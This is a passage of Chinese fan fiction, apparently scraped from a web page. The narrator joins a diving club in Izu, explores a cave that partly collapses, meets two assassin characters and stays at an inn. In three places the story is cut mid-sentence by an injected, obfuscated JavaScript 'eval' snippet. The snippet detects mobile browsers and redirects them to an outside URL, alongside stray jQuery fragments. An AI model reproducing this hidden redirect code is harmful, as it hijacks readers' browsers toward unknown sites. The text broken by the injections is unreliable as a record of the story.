“我也不知道啊,没什么特别想要的,就是觉得绝对要买限定产品来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15133637|163021||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着。” “……好,我知道了,下一个。”我准备吃喝玩乐各给她准备一样。 朝仓信摩拳擦掌,终于接到了电话。 他第一句话就是: “为什么把我排在最后一个啊……” “那你能排在谁前面?”我直白地反问。 对面顿时不说话了。 我淡淡地开口:“最后一个也不是没有好处嘛,我猜现在他们几个肯定不在电话机周围了吧,小后辈有什么不好意思和大家倾诉的烦恼可以讲给我听哦!” 讲这话确实有逗一逗他的意思在,众所周知,越是正经的人逗起来越有意思。没想到他还真有话要说。 “……前辈,你独自在外的时候,我真的感觉到、很困扰。” 他的声音闷闷地从话筒中传来,即便经由电流略微失真,也能想象到他捂着话筒缩在不被大家看到的角落悄悄抿唇皱着眉的神情。 “诶?” 他的声音猛地由于慌张而变大:“真的真的很困扰啦!那些老婆婆一个个全在问着‘夜子呢夜子去哪儿了’,还有什么‘麻烦把这份点心交给夜子绝对不许偷吃哦’之类的,大家怎么也都这么离不开你啊真是的!” “原来是嫉妒我的人缘吗小后辈?别担心,工作三年以后商店街的大家也都会这么喜欢你的!” “不是这个问题啦!”他音量又突然弱了下去,“总之、总之!你在那边每天都要打电话过来!” 见我没回答,他只好试探性加了一句:“这样可以吗……?” “就这样?没有别的要求?我还以为你还有别的要说。真节俭呐……” “不给你添麻烦还不行啊!”颇有些忿忿不平。 “啧,养你还真是省力。” 9. 最后权且是又交代了一番明天的活动项目,我就匆匆挂断电话投入这边的酒会了。 当然,前两天醉酒的画面还历历在目,我并不打算喝酒。 坐在人群之中看他们把酒言欢,我决定问问他们关于伴手礼的事情。 “伊豆这边,有什么地区限定的东西吗?我想买回去当礼物。” “伊豆特产啊……”他们思考着。 “不清楚,但是有PaB潜水社特产啊哈哈哈!” 北原和今村从我两边冒出,一人捧着一个酒瓶: “请看PaB特调饮品——生命之水!” “没了它,生命将丧失很多乐趣!” 10. “有增加勇气的功效吗?”我托腮询问。 “有的。绝对有的。”二人想起入学以来的种种,咧着嘴对我说,“这两瓶就当送你的纪念礼物哩!” “诶!你们人真好啊!”我收下了这两瓶饮料,心想着给少糖的“喝”之限定算是达成了。 我记得当时她告诉我,酒是他们家族一直以来练武的秘密配方,她爷爷甚至是直接抄起酒精灯里的液体喝下去的。 所以。 看着酒瓶上标注的96%浓度,我觉得陆少糖应该会很喜欢的。 11. 千纱把我带到了自己的房间,当然还带着爱菜。 她面色难以言喻地转身关上房门:“还好赶得上,不然你就得看到一些脏东西了。” “没什么。”她恢复了往常的神态,“你就睡在我的房间吧,现在我们可以聊聊伊豆和潜水。” 结果就是千纱和爱菜似乎取代了梓这个导游的地位。 不过在她们和我说的类似“关于伊豆的一百个知识点”中,大概有80个是有关潜水和海洋动物,10个有关恋爱和明天的探险,9个是关于伊豆大学和青女大学的种种日常的那种。 12. 一觉到了天明。 千纱让外面的人把房间收拾好了以后才让我出来。总之这是一个很有活力的清晨! 按照计划,我们上午去潜水,中午聚餐,下午去岩洞探险,这本规划得好好的,只是事情总会出些岔子: 首先,大佛和神神廻那边的工作没做完,至少再等一天他们才能到。这是司机大叔早晨打来电话告诉我的消息。他还问我说对面到底是什么人啊总感觉有些瘆得慌,不过我没理他。 13. 其次,潜水时要穿泳衣? 我没有啊! 24.恋慕之心的彼方 1. 如果没有泳衣的话,是下不了海的。 众人投来遗憾的目光,不过很快女孩们就开始出主意:“不如你用我们的泳衣怎么样?” 但显然这个假设无法成立。 千纱和爱菜在体型上从肉眼就可以排除,奈奈華和梓的泳衣,或许该说是比基尼,我拿来套在T恤在粗粗比较了一番,又沉默地放了回去。这压根不是一个型号的,在我身上看起来那衣服仿佛一副婴幼儿围嘴。 “现在时间还早,说不定还来得及去百货商店里买一套?”奈奈華提议道。 “还是算了。”我脱力地滑倒在沙发上,“和潜水就这样有缘无分……要是我当时不那么急匆匆说不定就会准备好啊。” 以往这种时候,都有葵姐提醒没什么生活常识的我……等一下,说不定还有机会! 我想起了临走前她让少糖塞给我的小包裹,赶紧翻开行李箱找出那个蓝色小包,怀着一番祈求的念想,希望开出我想要的东西。 三二一,拉链开!—— 虽然并不觉得泳衣能被塞进这么小的一个包里,但心中还是怀揣着深深的期望。 然后便感天动地摸出一块滑溜溜的白色布料。 我就知道,小葵绝对会帮我准备到的! 冲着门外大喊“不用担心了!等下我就可以出门!”,我在卫生间里换上了新的泳衣。 纯白底上浅蓝色水波纹图案轻轻漾开,恰到好处地点缀以淡黄色丝带蝴蝶结,虽然是连体式,但穿脱也很方便,吊带背心的上身款式加上侧边开衩露出双层褶皱裙摆的设计也很可爱。 我转过身,在镜子里探头看去微微发凉的后背,发现肩带向后一路竟然开到了后腰的位置。这很好了,这样就不用担心穿错前后了。 这就是我的第一套泳衣诶!是葵姐买给我的! 我推门而出,激动得连鞋也忘了穿:“这是葵姐给我准备的泳衣!”恨不得昭告天下。 大家也都围了过来,我得意地叉着腰任他们看着,不出意外地收获了许多称赞。 “小夜子,这很适合你哦!” “嗯,好看。” “阳光开朗到不像是一身泳衣因为我说不出什么感想来。大概是很适合小栞那种人穿的。” “你这家伙竟然还在幻想我的小栞吗!?话又说回来,即便我只钟爱国中女生,这样的线条也依旧干净利落得好像是游戏建模啊!不过我不吃这种类型的成女角色。” “谁问你了?而且小栞是我妹妹你早点认清现实吧!” 那边两个差点又扭打在一起。 2. 海边。 浪花在岸上拍打着大自然的节拍,阳光撒在裸露的皮肤上有种软软的感觉。虽然私下里性格都很跳脱,不过一旦涉及到真正的潜水活动,众人都变得格外正经。 热身操,简单的水下手势,以及如何排水、调节气压耳压等,在他们手把手的教学下,我很快就全部掌握了。 为了适应水的环境,我们先在岸边浅水区浮了一会儿,被碧蓝色的海水包围着仿佛失去了重力,我们很快就为游鱼所吸引打算继续下潜。 奈奈華牵过我的手向深水区游去:“准备好了吗?出现不适应症状一定要和我们说哦。” 下意识将潜水面镜用力往里摁了摁,我扬起一个自信的笑容,用潜水的手势在胸前比了一个“OK”。 ——那么,就此进入水下世界吧! 3. 人们常说,海底是倾倒的蔚蓝天空,我大概只下潜到六米的深度,海水冰凉的温度透过皮制潜水服渗进肌肤与血管,沉静的蓝色、深邃的黑色,交错着抚慰我跳动的神经。 六米对于潜水爱好者只是浅尝辄止,对我来说却是一个崭新的世界。游鱼自在穿梭于海草与人类周身,时不时有海龟一二舒展着身体悠悠滑行过头顶。 我大概是一座孤单岛屿。 如果『一个人』是在这里的话,我说不定会愿意飘飘忽忽一直游到宇宙尽头。 这份心情一直维持到了残压表指针指向60的那一刻,按照规定我们不得不上浮。 换过氧气瓶之后,我们又下潜了两回。 千纱有一台水底相机,她在我身边指着路过的小生物比对相机中以前拍摄的照片展示给我看,脸上露出了少见的灿烂笑容。 我由衷地感到幸福。 4. 北原和今村两个人显然又是在海里作妖,他们的残压这次比我还先一步达到60关口。不过由于下潜人数较多,所以残压在一百以上的几人还能继续潜一会儿,其他人就只好先行上岸。 而我这个初学者竟然也在能留下的行列之中。“一,一,零。”我在水下比着手势,示意自己还有110的残压。 「不错嘛!」 「很有天赋!」 他们大概是这么夸我的。 是的,不管是陆地还是水中,烈焰干什么都是这么优秀。 5. 上岸后,趁着天气大好,提前离开的几人已经准备好了烧烤架。当奈奈華给我披上一件防晒外套时,坐在一旁的梓则摸着下巴微微皱眉看着我: “轻而易举就拿到奈奈華的外套了吗……让我来看看有什么技巧可以学习的。” 外套的面料很柔软,对梓的自言自语我有些不知所云,拿过桌上的水喝了一口:“因为奈奈華,是个很敬业的店员啊!” ……慢着,这个水,不正常。 嘴里还含着没咽下去,我面色凝重,只是向空中张开了嘴。 一分钟过去,“水”自动消失了。 这就是PaB特调饮品酒精浓度96%的威力吗? 6. 幸好我反应得快,否则又要醉酒酿成事故了,而且这次身边可没有南云那样的强大后援可以帮我扫尾。 好在这也是中午聚餐的唯一一个小插曲,在太阳底下午睡一小会儿后,我们就换衣服准备出发去那个传说的岩洞了。 两位前辈要留在Grand Blue帮忙看店,而北原和今村也几乎在一瞬间按照约定换上了潜水服,在不远处窃窃私语。 其实我都听得见他俩在交谈什么。 转头看向另一边的女生们,四个人神情各异别开生面,眼中毫无对所谓“水之女神”的虔诚心愿,有的只是某某个特定目标的算计之心。 除了吉原爱菜。她是唯一一个事到如今还相信这个说法的人。 通俗地来说,这里大概汇集着一群心怀鬼胎的人:一个色鬼,一个妹控,一个恋海狂,一个恋爱脑,和两个脑袋空空的低俗男。 还有我。 我为什么在这儿来着? 7. 按照原计划,我们要在退潮前沿着海滩的礁石走向岩洞,在水变深的地方游进去,再找到那块传说的大岩石进行祈福。 这路线真是规划得有模有样,我不禁问了一嘴滨岡梓:“你们之前来这儿探过路吗?真有一块大岩石?” “诶,没有啊,不过那种东西,是个岩洞都有吧。” “那你们很勇敢了。”我拍拍胸脯,“不过有我在就能保护你们的安全。” 事实是一路走过去根本没发生什么意外,顶多就是爱菜踩上某块石子差点摔了一跤,不过我把她抱住了。 她脸红着不敢与我对视,只是颤颤巍巍说了句谢谢。只是个公主抱而已,很难想象她到底为什么会作此反应。 这一刻我突然意识到世界上有两种人,一种是以少糖为首的被抱过以后热情地回抱的类型,另一种就是爱菜和朝仓这样动不动就脸红而且心中波澜壮阔的。 8. 很快我们就正式踏入了岩洞中,洞口有潮湿咸涩的海风裹挟着发丝向里勾引去。 “有点凉啊。”千纱悄悄张望着说。 “感觉冷的话可以抱着姐姐的手臂走哦~”奈奈華纯真地笑着。 向里面光线暗淡的空间探去,这样的地下岩洞我没少见识过:“越往深处越冷吧,我们走快点儿就好了。” 只见队伍里唯二两个男生却在此时犯了难,我心跳一滞:“你们……” “好像没带……手电筒呢。” 尬笑也解决不了没有光源这一问题了。 下一秒,北原今村在挨揍,我默默就地拾起材料手搓了一个火把。 “这样就可以了,我们走吧。” 不知不觉这支小队的领路者就变成我了。我走在最前方,火光摇曳,在墙壁上投射出晃动的身影,那既是光源也是热源,几个女孩都往我身边靠近了点。 北原:“我们此行的目标是不是暗自发生着变化?” 今村:“……目标?什么目标?” 9. 谈笑间,前方的路豁然开朗起来,我们已然来到一片较为开阔的空地,头顶岩石还有一块空缺足以让自然光线洒下来。 “就是这里。”滨岡梓叉着腰指向中央那块平躺着的礁石,“夜子,作为我们重要的客人你就第一个去许愿吧!” “夜子小姐也有想要实现的恋爱愿望吗?”爱菜转头怯生生看着我。 我仔细想了想,恋爱这个概念我大概明白,但始终还是不太懂。 就好像我大致知道兔团子是什么制作流程,但在脑子里只有一团柔韧的面团,被艾露猫店员来回敲打揉捏着,就是做不出艾草给我端上来时的样子。 ——话说回来,我离『恋爱』还远着呢吧! 但来都来了,愿望还是要许的。 我心怀虔诚地坐上石头,闭目静静在心里默念着我预先想好的一连串心愿,希望不管怎样,『水之女神』能至少为我实现一个。 10. 女孩们互相打趣着在礁石边祈愿,我退了下来站在一旁,环视了一圈洞内环境,侧头和北原聊了会儿天: “其实这里还是有点儿阴森的吧!” 我指着地上碎裂的贝壳和歪七八扭的沉积物,还有石壁上刻着的诡异文字开口道:“甚至隐隐约约听到的海浪声和回声什么的,也有点像是鬼哭狼嚎呢。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15146948|163021||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “说这样的地方是祈福圣地还是有些欠考虑了,下次可以实地考察过后再编些更像的。”我委婉地向他表示着其实我知道这次岩洞之行是个骗局。 “你说『水之女神』的传说吗?”他颇感疑惑地回答,“没骗你们啊!真有这个传说!” “诶?什么?但是那个大叔跟我说……” “那种社畜大叔啊……他们怎么可能知道呢?这个传说可是我的朋友和我口口相传才知道的!” “只不过内容我稍微做了做美化……”他挠挠头,“是吧耕平!” 耕平在远处不知忙活着什么。 “不管他,你想知道『水之女神』的故事吗?” 我点了点头。 11. …… 所以说,这个传说故事到底是有哪一点可以美化成这样的祈福诈骗啊! 明明,明明都成恐怖故事了啊! 很久以前有一对相爱的男女,某天他们约好在这个岩洞里幽会,可是就在那天下午,女人亲眼目睹了男人的出轨…… “然后就在这里装作和男人把酒言欢的模样,实则却一瓶一瓶让男人喝了下去,最后男人酒精中毒不治身亡,被女人抛尸于此。” “而女人也因复仇故事被尊称一声‘水之女神’。” 这水的成分是什么还有待考虑吧。 女生那边也很不巧地听见了他的陈述,除了害怕以外,不出意外地抛来幽怨的眼神。 12. 我还没来得及吐槽,就感觉到地面一阵细微的震动,随之是“喀啦喀啦”几下的碎裂声。 是从耕平那儿传来的! 他不知何时已然换上一副应援服装扮,手里握着两根石笋……面前是一尊他T恤上角色“魔法少女菈菈子”的等身石雕! 就在这么等待的一小会儿已经雕出了如此鬼斧神工的杰作了吗? 等一下问题并不在此! “大家快找开阔的地方躲起来啊!石头!石头要掉了!” 但是普通人的反应速度显然没有我想象中那样快,尤其是场地中央围着的女生们,她们或许都没察觉过来我在说什么。 把身边的北原一把扔去了坚固的角落,我听到头顶的岩石也有了松动之音,而正下方,正是几人。 棕褐色的石块几乎在一瞬间脱落,防不胜防,已经没有时间将几人一一带离了,那我便只能从危险物下手,在空中解决! 我先飞檐走壁上墙,而后翔虫甩出地极为顺手,一个发力便疾行至石头右侧,在空中腰腹发力带动身体旋转,重重踢中了石块核心。 绝对要击中最脆弱的地方啊…… 我这样默念着,稳稳落在地面,身后慢一步地响起了石块崩裂成碎片的声响。 太好了。 13. 目前就是这样一个进退两难的情况,出口被其他落下的石块给挡住了,而火把也因为刚才种种而熄灭了,外加此地的阴森环境,这里显得更为阴冷。 “谁叫你讲那种故事的……说不定就是因为被你揭穿了那个女人才会发怒把我们困在这里。” “不对吧!显然是耕平在那儿敲敲打打导致的啊!” “有夜子在真是太好了!”爱菜蛋花眼抱住我的手臂。 欸,我还就在等着这么一句话。 “我应该做的。” 14. 距离我们出发到现在,其实已经过了许久,光线也基本暗了下来,只有微弱的几缕光摇摆不定地送进来。凉风阵阵吹在我们裸露的皮肤,夹杂着湿润的水汽,实在是令人不适。 “呜,呜呜……”那是某种不确定来源的风声。 “好像有人在哭啊!” 伊织不经意一句,使得本就焦躁不安的氛围越发浑浊。 其实奈奈華已经打过电话给店长了,生命安全上绝对不成问题,只是说不担心是不可能的,更何况现在几人还又冷又饿。 两个最娇小的女孩子蜷在一起,身上套着从男生那儿扒下来的潜水服。梓终于得到了奈奈華的亲密接触,但这份幸福实在来得不是时候。 我怕以蛮力直接开一条路又一次造成岩石塌陷,只得叫来男生一块块把堆在通道口的石块搬开。 沉默的等待是这样焦灼,洞内不知何处水滴滴答传来不规律回声,还真有一丝“鬼影正在逼近”的错觉。 15. 不,那似乎不是错觉? 我听见外面的石块也开始倒塌,伴随其间的是某种轻飘飘的脚步声,以及电锯滋啦怒吼摧毁着一切的声音。 而后,岩石碎屑也像幕布一样坠落,我后退了一步,站在探险小队队员们身前。 暮色中,纯黑色的厚重裙摆沾着飞溅的鲜血在暗影中显现,黑色西装也洇上深色水渍踏着发亮的皮鞋走来。 金属质的圆形电锯和相比之下存在感弱小的锤子。 16. “夜子啊救命!不是霓虹恐怖故事吗为什么还有海那边的电锯杀人狂啊!” 25.神神廻先生这个称呼怎么了 1. 我撞进了一双无机质的漆黑双眸。 “夜子,水之女神在哪里?” 2. 来人正是本说是推迟一天到来的大佛和神神廻。 “大佛,你悠着点。”神神廻顿了顿,仅花费一秒就意识到这话和大佛说等于是对牛弹琴。 我简单安抚了下背后战战兢兢的几人,尤其是差不多已魂飞魄散的爱菜,便兴高采烈跑上前去: “欸,你们不是说明天才能到吗?” 神神廻收起锤子准备对此稍作解释,但其实我也只是嘴上一说,压根不在意其中原因就往大佛身边一站:“水之女神其实是复仇女神啊!她精彩地灌酒灌死了出轨男!” 她郑重地点点头,顺手将圆锯交到神神廻手里,向前迈出几步到耕平所作的石雕面前,双手合十神态虔诚地许下心愿。 “我希望,下次任务不要死。” “还有,明天天气好一点。” 神神廻耐着性子:“你刚刚不是说我们提前到了吗,其实……” “对啊,怎么回事?” “其实原本……” “神神廻先生,这个好像不是海之女神的雕像。” “啊,可能是吧,所以说你对着那种东西许愿总感觉会有奇怪的后果哦。”他闭目继续道,“原本昨天事出突然,不过……” 我提醒大佛:“而且是『水之女神』,不是『海之女神』。” “对哦,那我重新再找块石头许个愿吧。” “我去给你搬一块好看的来!” 见神神廻两眼放空,神色死一般的平静,我眨眨眼恍然大悟:“神神廻先生你也想找块石头许愿吗?我帮你!” “……我该说‘谢谢你’吗。” “不客气!”我一溜烟地跑远了。 3. 不知道他俩各自都许了什么愿,我扭头走到潜水社成员那里,让他们准备一下沿着神佛二人开出的道路返回。 “夜子,他们是……?”几人不由自主都问出了这个问题。 看着他俩的背影,我几乎不假思索回答道:“是我朋友的朋友,现在是我的朋友。” “哦,好的……虽然问你的并不是这个意思……” 重新点起火把,我们的小队里新加入了两个人,沿着大佛用电锯开出的那条破碎小路走出去。恐怕他们几个难免会对这种探险产生心理阴影了吧。 “北原,你拿着火把走最前面可以吗?”我半强制性地塞进他手里,随后落到队伍最后和神佛一起并肩而行。 “所以最后你们怎么会提前到这里了?” 神神廻这下终于可以把准备好的台词说出来了,但只是发了个未成形的音,话头就被大佛截胡去: “因为我为了早点结束,很努力地完成了任务。” “说胡话也要有个限度吧大佛,明明基本都是我在寻找目标啊。” “那是因为神神廻先生说你自己的视力比较好。” “这个时候倒学会谦虚了吗。” 我看着笑出了声。 队伍逐渐分割为前后两部分,虽然外表氛围完全不同,不过目的地却是一致:先回去Grand Blue再说。 神神廻和大佛开了车来停在路边,车身上满目疮痍,遍布木仓孔和钝器击打的痕迹,我尬笑着让他们先行一步,自己则陪着潜水社成员们一同回去。 4. 我还以为他俩先行一步是直接去了旅馆,没想到在潜水店门口那两个高挑的看似与周围气质格格不入的身影正靠墙等着我。 “看到你留的纸条了。”神神廻把车钥匙在手指间转了一圈,“你不是还没去过那个旅馆吗,还想自己走回去?” 为了我特地等在这儿的吗…… 我抛下手里的行李箱,冲上去一把抱住了神神廻和大佛:“谢谢你们!” “喂、只是因为答应了南云……你放开点儿。” 大佛顺势凑在我耳边:“不用谢,这是神神廻先生应该做的。不过我想回去吃晚饭了。” “大佛,我听得到。” 我乐呵呵打开后备箱把行李箱放进去,看了一圈才发现三人的行李真是少之又少,即便车尾被压瘪了一块,空间也完全足够放得下。 神神廻开车,我和大佛一起坐在车后排聊着天。大佛悄悄跟我说,感觉像出租车那样在前面加一块隔板把神神廻先生挡住也不错,我说这样神神廻先生会伤心的,他哭了就不好了。 “你们现在这种行为和加了隔板也没差啊。”神神廻回头撇了我俩一眼。 5. 很快就到了旅馆,旅馆老板果然是海之家泓叔的儿子,长得和他几乎一模一样。 “小兔崽子,因为我就是泓叔啊!”他扯过一旁的年轻人,“这是我儿子阿力!” 攀谈一番后,阿力带我们去了房间。房间很大,大得感觉可以开一家商店,我坐在客厅环顾四周,不由得感叹道:“这种温馨的氛围,和南云带我去的酒店完全不一样呢!” “你?南云?”神神廻拿着一杯直饮水,吞咽的动作显然停滞了一会儿。 经过几天的发酵,那段尴尬的回忆在我脑海中已然被正当化、合理化,我摆摆手:“嗯,我还记得自己明明睡在窗台,结果醒来的时候竟然在床上,我猜他特地把我搬到那儿去的。” 说到这里我不由得补充道:“虽然很感激他的好意,不过我真的不喜欢睡床。” “好在这里是榻榻米,我可以直接睡地上了!” 大佛听了我的话,眨眨眼直接就地躺下,安详地闭上了眼睛。 只剩下我和神神廻大眼瞪小眼。他把水杯放下坐在我对面,竭尽全力找着点话说:“你还挺喜欢和陌生人聊天,刚刚在楼下,换作我应该不会在知道了房号后还聊那么久。” 我挠了挠头:“抱歉啊神神廻先生,让你们等久了吗?” 他没来得及回复,原本躺着的大佛突然坐直身体直视着我说:“我觉得地板不太舒服。” 神神廻叹了口气,似乎对此情况见怪不怪:“老板待会儿就会送铺盖来的。” 正说着,门外就传来老板的声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15160748|163021||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 音,不过他并不是来送铺盖的。 “你们还没来得及吃晚饭吧,我让厨房赶紧做了点吃的,几位现在要用餐吗?” 大佛“嗖”地就站起来去开了门。 木制手提饭盒刚一打开,丝丝缕缕来自玉子烧的浓郁香气便扑面而来,老板端出一个托盘,随后一一将菜碟取出放到我们面前。 今天的菜色是撒上海苔碎屑的玉子烧,色彩缤纷的烧鸟,一锅土豆炖肉以及奶油玉米蔬菜浓汤。 光看颜色就很丰盛! 老板抱着托盘低头一笑:“谢谢你啊,刚刚若不是你帮我说了两句,我爸可能又要离家出走去组乐队去了。” “准备得有些仓促,不过这些吃的希望你们能够喜欢。” 原来是谢礼吗?我对他扬起一个十分满意的笑容:“对啊,再怎么说徒步走到东京去开演唱会这种事,也不是一天就能决定的吧。” “老板你送来的晚饭真是解决了燃眉之急!而且看着就香喷喷的,我都想直接扑上去了!” 老板眉眼里透着放松的笑意,鞠了一躬便匆匆离开了。 我拾起筷子,和大佛对坐着,就像那天在居酒屋一样,心有灵犀地争先恐后吃了起来。神神廻晚了一步动手,不过老板是按人数分了三份上的菜,不然他那份恐怕也会被我们吃掉。 “神神廻先生,你不饿吗?为什么吃得这么慢?”我疑惑地问道。 “他在车上吃过了很多零食。”大佛幽幽开口。 神神廻呛了一下:“不,大佛,那明明是你吧。”转而又看向我:“我只是想好好品尝晚饭罢了,毕竟这些看起来确实很鲜美。” “啊,是明太子玉子烧。”他咬了一口玉子烧才发现里面夹着的鱼籽,“还有,你为什么也称呼我‘神神廻先生’啊……让我感觉眼前有两个大佛在晃悠啊,很苦恼来着。” 我迟疑了一会儿,试探着开口:“因为下意识跟着大佛念了嘛,不过,你想要的话,我可以改。” “比如神先生?神神?神廻先生?金发的?锤子男?” “还是别改了吧。”神神廻不动如山。 倒是大佛不太满意:“其实只是神神廻先生看不惯我,就像职场霸凌一样。” “没有吧,大概只是他有点分不清我们呢。” “只是相同的称呼就分不清了吗,前辈真有点令人担忧啊。”大佛嘴里含着一块炖肉这样棒读道。 6. 晚餐真的很好吃,乃至于吃完后还有些意犹未尽。 大佛懒洋洋地就地躺下,但嫌弃地板很硬就又坐起来了。“你可以靠在我身上?”我撑着脑袋向她说。 然后她就提着坐垫来到我身边。 神神廻收拾干净桌面,也不禁感叹道:“感觉比以前住店的时候吃到的每一家都好吃。” 我想起他之前的问话:“所以说和人家交谈并不是无用之事,与人为善,常得善果哟神神廻先生!” 他端着饭盒站起身,我清楚地看得见他下巴上的那道疤痕。 “真是败了。”他说,“我去还饭盒。” 26.一日之计在于晨 1. 神神廻下楼的时候,我和大佛便草草地整理好行李,用剪刀石头布决定了洗漱顺序。 ——我们准备洗干净以后躺在被窝里商量接下来去哪儿玩。 猜拳的结果是大佛先去洗漱,闲着没事我便又一次拨通打给坂本商店的电话。 有关今天的冒险故事我足足说了十分钟,不过最关键的还得要感激葵和少糖:“要不是你们给我带了泳衣,我今天一整天都要作废了!” “我觉得这一身很适合夜子你呀,你能喜欢真是太好了!”葵轻轻笑了。 陆少糖也兴高采烈地问道:“穿着还合适吗?” 我眨眨眼睛回忆起来:“感觉很合身,就是背后空空的,也没什么重量,我好像要飘起来了一样。” “说起来,今天朝仓怎么没说话?” “咦,刚不还在我后面吗……”陆少糖声音飘远了点,“信!你不过来和夜子姐打电话吗?” 又过了里面,她压低声音在话筒那头说:“‘不必了’,他刚刚跑远了这样说。可能是听到我们在聊泳装所以害羞了吧。” “愚蠢的男生。”我想得到她说这话时闭目叹息的模样。 最后,坂本又一次强调了几遍一定要跟牢神神廻,千万不要一个人行动。我寻思着这也不是什么需要如此反复强调的事呀。 2. 浴室传来哗啦啦的水声,正好老板又送来了三卷铺盖,我趁此机会便熟练地铺好了三摊被子。 神神廻拉门进来,看见摆放整齐的三个长方形不由得愣了愣,随即认命般抱起最边上一套走了出去。 我停下了手上的动作:“神神廻先生,你要搬去哪儿?” 他的视线在我不解的双目和手里的被子之间晃了晃:“我总不能和你俩睡一块儿吧。你们再怎么问题儿童也是女孩子。” 哦……还有这回事…… 在神神廻身上我格外难以察觉“男女有别”,或者说我原本就不怎么在意?总之,你要知道,问题并不在我身上。 咳。 3. 大佛的睡衣风格和她的工作套装截然不同,我坐在小桌边看到她出来时,她正穿着一身印着很多圆润棕熊的睡衣套装,发尾打湿了些许黏在一块儿。 她察觉到我的目光,低下头看了眼自己的衣服说了句:“熊熊,很可爱。” 我展开准备在一旁的睡衣,指给她看:“我也有熊熊。” 不过说是睡衣也有些奇怪,其实称作“睡觉穿的衣服”更为恰当。我有一抽屉来自商店街各家店铺的宣传T恤,穿着很舒服,但平时在店里的时候又不能穿,所以一直以来就当作睡衣使用。 “这一件……”我看了眼,“是和果子屋的。” 很快我也从卫生间出来,懒洋洋地钻进了被窝。 神神廻不久后也给我们拉上了移门,他耳边金发滑落,垂在反光的丝绸睡衣上,“别忘了定闹钟,不要赖床到必须让我来喊你们,尤其是你啊,大佛。” 大佛靠着靠垫(我),下意识忽略了他的话,满不在意地划着手机。 只有我向神神廻比了个“OK”的手势,他撇撇嘴嘟囔着“就当你们答应了”就关了灯。 我一手托着大佛的脑袋,一手探过身去帮她打开了那侧的夜灯。 因为没有手机,所以我和她头抵着头一起浏览着社交媒体上五花八门的伊豆美食攻略。 良久后,我忍不住打了个哈欠:“要不,明天我们自己去探索吧……” 大佛熄灭手机,神色复杂地看着我回应道:“对,这样还能保持惊喜。” “那,睡觉吧?” “充电,充电……”大佛摸到充电线给手机插上后,关了灯爬回被窝,我感觉到她绝对还在盯着天花板发呆。 天花板上有什么吗? 我也看了会儿,然后很快睡着了。 4. 天亮得很快,海边的微光透过象牙色窗帘抚摸着我伸出被窝的手臂,我翻了个身,很快就爬起来了。 换好衣服,大佛还没醒来,我决定先去找神神廻。 门外,神神廻的被子被他卷起一半至腰间,除此之外,睡姿倒是很安稳。金色的发丝如绸缎一般在洁白的枕头上铺开,我忍不住多看了一眼,随即收回视线想着该用什么合适的方法叫醒他。 跪坐在他身侧,我伸出双手悬空放置在他脸正上方。是击一个清脆的掌呢?还是…… 诶、手被用力抓住了。 神神廻大概是出自杀手的警觉心感知到了我,不知何时苏醒过来,恐怕将我下意识识别成了敌人。 凌厉的眼扫视过来时,我吃了一惊,本还以为他的眼里总是那种没什么力气的感觉呢。只得讪讪一笑:“神神廻先生呀,我按你说的早起了呢。” 他从喉间长长叹出一口气,松开手揉揉太阳穴,眯着眼在枕侧摸出手机。 “……我没叫你早上七点起啊。” 5. 虽然不爽,但神神廻被我意外叫醒后也没了睡意,收拾好自己就叫我一起下楼吃早饭。 数个小碟子摆在面前,这是经典的日式早餐,我夹了口烤鲑鱼,心里觉得留大佛一个人在房间睡觉,我们单独下来吃饭似乎不太好。 “你们待会儿有想去的地方吗?”神神廻先一步开口。 “那个啊……”想起昨天夜里一事无成反而还聊了许多乱七八糟的东西,我不由得沉默,“我们决定开盲盒。” “直说没有好了。”他端起味噌汤抿了一口,“那就跟我走。” “哦、哦。” 6. 用过早餐,我和他站在楼梯口大眼瞪小眼,不知为何,似乎谁都不想去叫醒大佛。 神神廻掩饰性地望向别处,我迈出一步直接站到了他的视线落点: “这样,不如我们去晨跑吧!” “丢大佛一个人?万一她醒了,照那个性子发现房间没人估计又要闹一通。” “那……我们来帮忙打扫卫生吧!”眼前做着清扫的服务员姐姐,我心生一计,“干活干着干着,时间就会过去的!” 这是我的经验之谈。 “那我问你,你为什么要在度假的时候主动工作?”他真心不解地盯着我,仿佛我脑子出了什么问题。 这下反而是我疑惑了:“因为我觉得给老板帮忙会很开心啊。” 神神廻往后靠上墙,低声道:“不是吧,真有这种人啊……” 而我已经跑过去问老板需不需要帮助了。 7. 最终我俩还是直接回了房间。 一是老板坚持说“怎么好意思让客人干脏活呢”,二是神神廻提醒我就算在店里帮忙也不属于陪在大佛身边。 房中客厅。 神神廻随手泡了杯咖啡,坐在沙发上单手划动手机,电视机以最小音量播放着千篇一律的新闻无人在意。我手里拿了片红豆吐司, 